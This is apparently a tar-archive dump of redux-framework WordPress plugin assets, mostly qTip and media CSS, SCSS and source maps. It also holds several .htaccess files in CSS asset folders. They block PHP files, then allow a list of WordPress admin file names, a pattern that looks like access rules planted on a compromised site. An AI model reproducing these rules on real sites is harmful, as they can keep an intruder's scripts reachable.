background-image: -webkit-gradient(linear, left top, left bottom, from(#717171), to(#232323)); background-image: -moz-linear-gradient(top, #717171, #232323); background-image: -webkit-linear-gradient(top, #717171, #232323); background-image: -ms-linear-gradient(top, #717171, #232323); background-image: -o-linear-gradient(top, #717171, #232323); border: 2px solid #ddd; border: 2px solid rgba(241,241,241,1); -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; -webkit-box-shadow: 0 0 12px #333; -moz-box-shadow: 0 0 12px #333; box-shadow: 0 0 12px #333; } /* IE Specific */ .qtip-jtools .qtip-titlebar{ background-color: transparent; filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#717171,endColorstr=#4A4A4A)"; } .qtip-jtools .qtip-content{ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#4A4A4A,endColorstr=#232323)"; } .qtip-jtools .qtip-titlebar, .qtip-jtools .qtip-content{ background: transparent; color: white; border: 0 dashed transparent; } .qtip-jtools .qtip-icon{ border-color: #555; } .qtip-jtools .qtip-titlebar .ui-state-hover{ border-color: #333; } /* Cluetip style */ .qtip-cluetip{ -webkit-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); -moz-box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); box-shadow: 4px 4px 5px rgba(0, 0, 0, 0.4); background-color: #D9D9C2; color: #111; border: 0 dashed transparent; } .qtip-cluetip .qtip-titlebar{ background-color: #87876A; color: white; border: 0 dashed transparent; } .qtip-cluetip .qtip-icon{ border-color: #808064; } .qtip-cluetip .qtip-titlebar .ui-state-hover{ border-color: #696952; color: #696952; } /* Tipsy style */ .qtip-tipsy{ background: black; background: rgba(0, 0, 0, .87); color: white; border: 0 solid transparent; font-size: 11px; font-family: 'Lucida Grande', sans-serif; font-weight: bold; line-height: 16px; text-shadow: 0 1px black; } .qtip-tipsy .qtip-titlebar{ padding: 6px 35px 0 10px; background-color: transparent; } .qtip-tipsy .qtip-content{ padding: 6px 10px; } .qtip-tipsy .qtip-icon{ border-color: #222; text-shadow: none; } .qtip-tipsy .qtip-titlebar .ui-state-hover{ border-color: #303030; } /* Tipped style */ .qtip-tipped{ border: 3px solid #959FA9; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; background-color: #F9F9F9; color: #454545; font-weight: normal; font-family: serif; } .qtip-tipped .qtip-titlebar{ border-bottom-width: 0; color: white; background: #3A79B8; background-image: -webkit-gradient(linear, left top, left bottom, from(#3A79B8), to(#2E629D)); background-image: -webkit-linear-gradient(top, #3A79B8, #2E629D); background-image: -moz-linear-gradient(top, #3A79B8, #2E629D); background-image: -ms-linear-gradient(top, #3A79B8, #2E629D); background-image: -o-linear-gradient(top, #3A79B8, #2E629D); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3A79B8,endColorstr=#2E629D)"; } .qtip-tipped .qtip-icon{ border: 2px solid #285589; background: #285589; } .qtip-tipped .qtip-icon .ui-icon{ background-color: #FBFBFB; color: #555; } /** * Twitter Bootstrap style. * * Tested with IE 8, IE 9, Chrome 18, Firefox 9, Opera 11. * Does not work with IE 7. */ .qtip-bootstrap{ /** Taken from Bootstrap body */ font-size: 14px; line-height: 20px; color: #333333; /** Taken from Bootstrap .popover */ padding: 1px; background-color: #ffffff; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, 0.2); -webkit-border-radius: 6px; -moz-border-radius: 6px; border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); -webkit-background-clip: padding-box; -moz-background-clip: padding; background-clip: padding-box; } .qtip-bootstrap .qtip-titlebar{ /** Taken from Bootstrap .popover-title */ padding: 8px 14px; margin: 0; font-size: 14px; font-weight: normal; line-height: 18px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; -webkit-border-radius: 5px 5px 0 0; -moz-border-radius: 5px 5px 0 0; border-radius: 5px 5px 0 0; } .qtip-bootstrap .qtip-titlebar .qtip-close{ /** * Overrides qTip2: * .qtip-titlebar .qtip-close{ * [...] * right: 4px; * top: 50%; * [...] * border-style: solid; * } */ right: 11px; top: 45%; border-style: none; } .qtip-bootstrap .qtip-content{ /** Taken from Bootstrap .popover-content */ padding: 9px 14px; } .qtip-bootstrap .qtip-icon{ /** * Overrides qTip2: * .qtip-default .qtip-icon { * border-color: #CCC; * background: #F1F1F1; * color: #777; * } */ background: transparent; } .qtip-bootstrap .qtip-icon .ui-icon{ /** * Overrides qTip2: * .qtip-icon .ui-icon{ * width: 18px; * height: 14px; * } */ width: auto; height: auto; /* Taken from Bootstrap .close */ float: right; font-size: 20px; font-weight: bold; line-height: 18px; color: #000000; text-shadow: 0 1px 0 #ffffff; opacity: 0.2; filter: alpha(opacity=20); } .qtip-bootstrap .qtip-icon .ui-icon:hover{ /* Taken from Bootstrap .close:hover */ color: #000000; text-decoration: none; cursor: pointer; opacity: 0.4; filter: alpha(opacity=40); } /* IE9 fix - removes all filters */ .qtip:not(.ie9haxors) div.qtip-content, .qtip:not(.ie9haxors) div.qtip-titlebar{ filter: none; -ms-filter: none; } .qtip .qtip-tip{ margin: 0 auto; overflow: hidden; z-index: 10; } /* Opera bug #357 - Incorrect tip position https://github.com/Craga89/qTip2/issues/367 */ x:-o-prefocus, .qtip .qtip-tip{ visibility: hidden; } .qtip .qtip-tip, .qtip .qtip-tip .qtip-vml, .qtip .qtip-tip canvas{ position: absolute; color: #123456; background: transparent; border: 0 dashed transparent; } .qtip .qtip-tip canvas{ top: 0; left: 0; } .qtip .qtip-tip .qtip-vml{ behavior: url(#default#VML); display: inline-block; visibility: visible; } #qtip-overlay{ position: fixed; left: 0; top: 0; width: 100%; height: 100%; } /* Applied to modals with show.modal.blur set to true */ #qtip-overlay.blurs{ cursor: pointer; } /* Change opacity of overlay here */ #qtip-overlay div{ position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: black; opacity: 0.7; filter:alpha(opacity=70); -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=70)"; } .qtipmodal-ie6fix{ position: absolute !important; }����������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/qtip/jquery.qtip.css.map������������������������������������������0000644�����������������00000016456�14720701300�0020021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "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", "sources": ["jquery.qtip.scss"], "names": [], "file": "jquery.qtip.css" }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/qtip/.htaccess����������������������������������������������������0000644�����������������00000001626�14720701300�0016027 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0015052 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/media/media.css����������������������������������������������������������0000644�����������������00000001650�14720701300�0014624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:bold;text-decoration:none;text-shadow:1px 1px 0 #FFFFFF;margin:0 10px 0 0;padding:3px 10px;background:#FFDFEC;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial, Verdana, sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80% !important}.redux-main .button{margin-top:2px} ����������������������������������������������������������������������������������������redux-framework/assets/css/media/media.css.map������������������������������������������������������0000644�����������������00000001637�14720701300�0015405 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI;sBACW;EACP,WAAW,EAAE,IAAI;EACjB,KAAK,EAAE,OAAO;EAEd;8BAAQ;IACJ,KAAK,EAAE,GAAG;AAIlB,8BAAmB;EACf,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,IAAI;EACjB,eAAe,EAAE,IAAI;EACrB,WAAW,EAAE,iBAAiB;EAC9B,MAAM,EAAE,UAAU;EAClB,OAAO,EAAE,QAAQ;EACjB,UAAU,EAAE,OAAO;EACnB,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;AAGtB,yBAAc;EACV,WAAW,EAAE,0BAA0B;EACvC,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,OAAO;EACd,YAAY,EAAE,IAAI;AAGtB,+BAAoB;EAChB,UAAU,EAAE,KAAK;EACjB,SAAS,EAAE,KAAK;EAChB,OAAO,EAAE,GAAG;EACZ,aAAa,EAAE,CAAC;EAChB,UAAU,EAAE,IAAI;EAChB,YAAY,EAAE,IAAI;EAClB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;AAGtB,+BAAoB;EAChB,KAAK,EAAE,cAAc;AAGzB,mBAAQ;EACJ,UAAU,EAAE,GAAG", "sources": ["media.scss"], "names": [], "file": "media.css" }�������������������������������������������������������������������������������������������������redux-framework/assets/css/media/media.scss���������������������������������������������������������0000644�����������������00000002357�14720701300�0015014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .button.remove-image, .removeCSS { margin-left: 10px; color: #ef521d; &:hover { color: red; } } .upload_button_div { margin-bottom: 5px; } .upload-error { float: left; color: #666; font-size: 10px; font-weight: bold; text-decoration: none; text-shadow: 1px 1px 0 #FFFFFF; margin: 0 10px 0 0; padding: 3px 10px; background: #FFDFEC; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .reset-button { font-family: Arial, Verdana, sans-serif; float: left; margin: 0; color: #ef521d; border-color: #bbb; } .redux-option-image { max-height: 340px; max-width: 340px; padding: 5px; margin-bottom: 0; margin-top: 10px; margin-right: 15px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-main .upload { width: 80% !important; } .button { margin-top: 2px; } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/media/.htaccess����������������������������������������������������������0000644�����������������00000001626�14720701300�0014634 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/import_export/import_export.css������������������������������������������0000644�����������������00000000244�14720701300�0020312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-import-link-wrapper,#redux-import-code-wrapper{display:none}#redux-export-code,#redux-export-link-value{display:none}#redux-import-action span{color:#b94a48}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/import_export/import_export.scss�����������������������������������������0000644�����������������00000000303�14720701300�0020471 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-import-link-wrapper, #redux-import-code-wrapper { display: none } #redux-export-code, #redux-export-link-value { display: none } #redux-import-action span { 